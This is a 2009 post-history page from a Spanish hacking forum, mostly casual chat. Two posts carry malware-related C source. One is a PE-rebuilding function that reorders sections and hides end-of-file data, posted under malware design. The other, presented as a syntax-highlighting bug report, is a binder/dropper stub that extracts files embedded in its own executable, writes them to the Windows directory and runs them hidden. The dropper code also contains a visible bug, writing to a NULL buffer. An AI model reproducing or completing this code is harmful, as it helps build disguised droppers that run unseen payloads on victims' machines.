elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 ... 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [57] 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
561  Seguridad Informática / Análisis y Diseño de Malware / [SRC][C] RebuildPE en: 28 Julio 2009, 20:49 pm
Bueno, pues yo aquí otra vez con una función  :xD. Ésta función cambia bastantes cosas en el PE, cambia las secciones de orden (en lo que es en el archivo, en la cabecera no ya que de poco serviría), mete el EOF Data dentro de la última sección y actualiza el CheckSum (me aburría  :P). Tambien tenía casi terminado para que cambiara el Align del archivo, pero se me extendía demasiado el código, si necesito terminarla lo posteo en una función aparte.

La parte de reordenar las secciones se puede hacer de una forma más rápida y con menos código (Cambiando sólo el PointerToRawData), pero como eso se me ocurrió despues de terminar..

Código
  1. LPSTR RebuildPE(LPSTR FileName,LPSTR lpFileMaped,DWORD FileSize)
  2. {
  3. PIMAGE_DOS_HEADER IDH;
  4. PIMAGE_NT_HEADERS INTH;
  5. PIMAGE_SECTION_HEADER ISH;
  6.  
  7. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
  8. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
  9.  
  10. //Creamos un buffer y guardamos una copia del archivo mapeado
  11. LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,FileSize);
  12. CopyMemory(&Temp[0],&lpFileMaped[0],FileSize);
  13.  
  14. //Cambiamos las secciones en el archivo de orden (no en la cabecera)
  15. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  16. {
  17. PIMAGE_DOS_HEADER tIDH;
  18. PIMAGE_NT_HEADERS tINTH;
  19. PIMAGE_SECTION_HEADER tISH;
  20. PIMAGE_SECTION_HEADER tISH2;
  21. PIMAGE_SECTION_HEADER ISH2;
  22.  
  23. tIDH=(PIMAGE_DOS_HEADER)&Temp[0];
  24. tINTH=(PIMAGE_NT_HEADERS)&Temp[tIDH->e_lfanew];
  25.  
  26. tISH=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
  27. ISH2=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
  28. tISH2=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  29. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  30.  
  31.  
  32. if(i!=INTH->FileHeader.NumberOfSections-1)
  33. {
  34. CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
  35. ISH->SizeOfRawData=tISH->SizeOfRawData;
  36. ISH->Characteristics=tISH->Characteristics;
  37. ISH->VirtualAddress=tISH->VirtualAddress;
  38. CopyMemory(&ISH->Name,&tISH->Name,8);
  39.  
  40. ISH2->PointerToRawData=ISH->PointerToRawData+tISH->SizeOfRawData;
  41. }
  42. else
  43. {
  44. tISH=(PIMAGE_SECTION_HEADER)&Temp[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)];
  45. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  46. CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
  47. ISH->SizeOfRawData=tISH->SizeOfRawData;
  48. ISH->Characteristics=tISH->Characteristics;
  49. ISH->VirtualAddress=tISH->VirtualAddress;
  50. CopyMemory(&ISH->Name,&tISH->Name,8);
  51. }
  52. }
  53.  
  54. LPSTR SecTmp=(LPSTR)GlobalAlloc(GPTR,0x28*INTH->FileHeader.NumberOfSections);
  55. CopyMemory(&SecTmp[0],&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],0x28*INTH->FileHeader.NumberOfSections);
  56.  
  57. //Reordenamos las secciones en la cabecera
  58. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  59. {
  60. if(i==0)
  61. {
  62. CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],&SecTmp[0x28*(INTH->FileHeader.NumberOfSections-1)],0x28);
  63. }
  64. else
  65. {
  66. CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],&SecTmp[0x28*(i-1)],0x28);
  67. }
  68. }
  69.  
  70. GlobalFree(Temp);
  71.  
  72. //Obtenemos el PointerToRawData más alto y el tamaño total de todas las secciones
  73. DWORD MaxPointerToRawData=0;
  74. DWORD TotalSectionsSize=0;
  75. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  76. {
  77. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  78.  
  79. if(MaxPointerToRawData<ISH->PointerToRawData)
  80. {
  81. MaxPointerToRawData=ISH->PointerToRawData;
  82. }
  83. TotalSectionsSize=TotalSectionsSize+(DWORD)(ISH->SizeOfRawData);
  84. }
  85.  
  86. //Obtenemos la sección con el PointerToRawData más alto
  87. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  88. {
  89. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  90. //Si es la sección que contiene el PointerToRawData más alto salimos del bucle
  91. if(ISH->PointerToRawData==MaxPointerToRawData)
  92. {
  93. i=INTH->FileHeader.NumberOfSections;
  94. }
  95. }
  96.  
  97. //Si hay EOF Data
  98. if(ISH->PointerToRawData+ISH->SizeOfRawData<FileSize)
  99. {
  100. //Metemos el EOF Data dentro de la última sección
  101. ISH->SizeOfRawData=ISH->SizeOfRawData+(FileSize-(ISH->PointerToRawData+ISH->SizeOfRawData));
  102. }
  103.  
  104. //Obtenemos el SizeOfImage y ajustamos el VirtualSize de las secciones
  105. DWORD SizeOfImage=0;
  106. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  107. {
  108. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  109. ISH->Misc.VirtualSize=ISH->SizeOfRawData;
  110. if(SizeOfImage<ISH->VirtualAddress)
  111. {
  112. SizeOfImage=ISH->VirtualAddress+ISH->Misc.VirtualSize;
  113. }
  114. }
  115.  
  116. //Ajustamos el SizeOfImage
  117. INTH->OptionalHeader.SizeOfImage=SizeOfImage;
  118.  
  119. //Recalculamos el CheckSum
  120. _MapFileAndCheckSum miMapFileAndCheckSum=NULL;
  121. HMODULE hLib=LoadLibraryA("IMAGEHLP.DLL");
  122. miMapFileAndCheckSum=(_MapFileAndCheckSum)GetProcAddress(hLib,"MapFileAndCheckSumA");
  123.  
  124. DWORD OrignalCheckSum=0;
  125. DWORD newCheckSum=0;
  126. miMapFileAndCheckSum((PTSTR)FileName,&OrignalCheckSum,&newCheckSum);
  127.  
  128. INTH->OptionalHeader.CheckSum=newCheckSum;
  129.  
  130. return lpFileMaped;
  131. }

Como las secciones no están ordenadas por el PointerToRawData en la cabecera, algunos visores del PE (Pe explorer por ejemplo) dice que tiene EOF data, pero no la tiene  ;D.



Saludos

PD: Gracias a Karcrack y Arkangel por escuchar mis lamentos  ;D.
562  Seguridad Informática / Abril negro / Re: Proyecto Metamorph en: 20 Julio 2009, 15:12 pm
Actualicé el post con alguna información de la 2.0 y lo he ordenado un poco  :P. A ver si tenemos novedades pronto, sacaremos una beta de la gui en cuanto esté al 100% para asegurarnos de que funciona perfectamente  :laugh:.

Saludos
563  Seguridad Informática / Nivel Web / Re: Version SMF en: 16 Julio 2009, 01:17 am
Así viendo por encima parece que es cosa del las funciones de previsualizar, editar, bloquear un post etc, y es una actualización de seguridad, así que yo no lo dudo  :xD.

Saludos
564  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Error en el sitemap en: 13 Julio 2009, 13:38 pm
Yo me pasé a pretty urls, crea dos tablas en la bd con las equivalencias de los links y parece más serio puesto que ya dan soporte para la 2.0 de smf  :).

Saludos'
565  Foros Generales / Sugerencias y dudas sobre el Foro / Error en el sitemap en: 12 Julio 2009, 23:37 pm
Pues eso, al parecer el sitemap del foro no funciona correctamente, seguramente es debido al seo4smf que no da soporte para las actualizaciones de smf y tampoco lo hace para la 2.0 de momento   :¬¬ .

Saludos  ;)
566  Seguridad Informática / Abril negro / Re: Proyecto Metamorph en: 12 Julio 2009, 13:29 pm


Saludos  ;)
567  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Error en geshi [ASM] en: 28 Junio 2009, 18:57 pm
 :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD

Krackwar ha vuelto  :o  ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo  :P.

Saludos

Edito: lo encontré, falla al intentar escapar una barra: "\\":

Código
  1. [code=c]
  2. #pragma optimize("gsy", on)
  3. #include <windows.h>
  4.  
  5. typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
  6. IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
  7.  
  8. typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
  9.  
  10. DWORD dwBytes;
  11.  
  12. VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
  13. {
  14. HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
  15. WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
  16. CloseHandle(hSFTD);
  17. }
  18.  
  19. LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
  20. {
  21.   _RtlDecompressBuffer miRtlDecompressBuffer;
  22.  
  23.   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
  24.  
  25.   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
  26.  
  27.   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
  28.  
  29.   return szRet;
  30. }
  31.  
  32. void main()
  33. {
  34. _CopyMemory miCopyMemory=NULL;
  35. miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
  36.  
  37. DWORD szSubFile;
  38. LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
  39. DWORD Seek=0;
  40. LPSTR lpFile=NULL;
  41.  
  42. LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  43. GetModuleFileName(0,AppName,MAX_PATH);
  44.  
  45. HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
  46. DWORD szFile=GetFileSize(hFile,0);
  47. LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
  48. ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
  49.  
  50. DWORD StubSize=0x640;
  51.  
  52. LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  53. GetWindowsDirectory(WinPath,MAX_PATH);
  54.  
  55. DWORD NumArchivos;
  56. miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
  57.  
  58. Seek=4;
  59. for(DWORD i=0;i<NumArchivos;i++)
  60. {
  61. //Obtenemos el peso del archivo
  62. miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
  63.  
  64. //Obtenemos la extensión
  65. miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
  66.  
  67. //Leemos el archivo
  68. lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
  69. miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
  70.  
  71. //Lo descomprimimos
  72. DWORD szDecompressedFile;
  73. LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
  74.  
  75. //Generamos la ruta
  76. LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  77. lstrcat(Path,WinPath);
  78. lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
  79. LPSTR fName=NULL;
  80. for(DWORD z=0;z<i+1;z++)
  81. {
  82. lstrcat(fName,"A");
  83. }
  84. lstrcat(Path,fName);
  85. lstrcat(Path,".");
  86. lstrcat(Path,ext);
  87.  
  88. //Lo guardamos en WinPath
  89. SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
  90.  
  91. LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  92. lstrcat(Archivo,"cmd /d /c \"");
  93. lstrcat(Archivo,WinPath);
  94. lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
  95. lstrcat(Archivo,fName);
  96. lstrcat(Archivo,".");
  97. lstrcat(Archivo,ext);
  98. lstrcat(Archivo,"\"");
  99.  
  100. WinExec(Archivo,SW_HIDE);
  101.  
  102. Seek=Seek+11+szSubFile;
  103.  
  104. }
  105. CloseHandle(hFile);
  106. }
  107.  
[/code]
568  Seguridad Informática / Abril negro / Re: Proyecto Metamorph en: 15 Junio 2009, 20:42 pm
Claro, por que no se va a poder saber  :xD. Había dado problemas en XP SP1 y Vista SP1, no tengo ni la más remota idea de porqué, pero espero solucionarlo para la 2  ;D.

Saludos
569  Foros Generales / Foro Libre / Re: Sus escritorios en: 10 Junio 2009, 21:00 pm
Aquí el mío con debian



 :o :o :o :o :o Siento el doble post pero ese escritorio me sonaba  :silbar:  ;).

Saludos ;)
570  Foros Generales / Foro Libre / Re: Sus escritorios en: 10 Junio 2009, 20:57 pm
Mi ubuntu con mi flamante KDE instalado hace menos de una semana  ;D.



Saludos
Páginas: 1 ... 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [57] 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines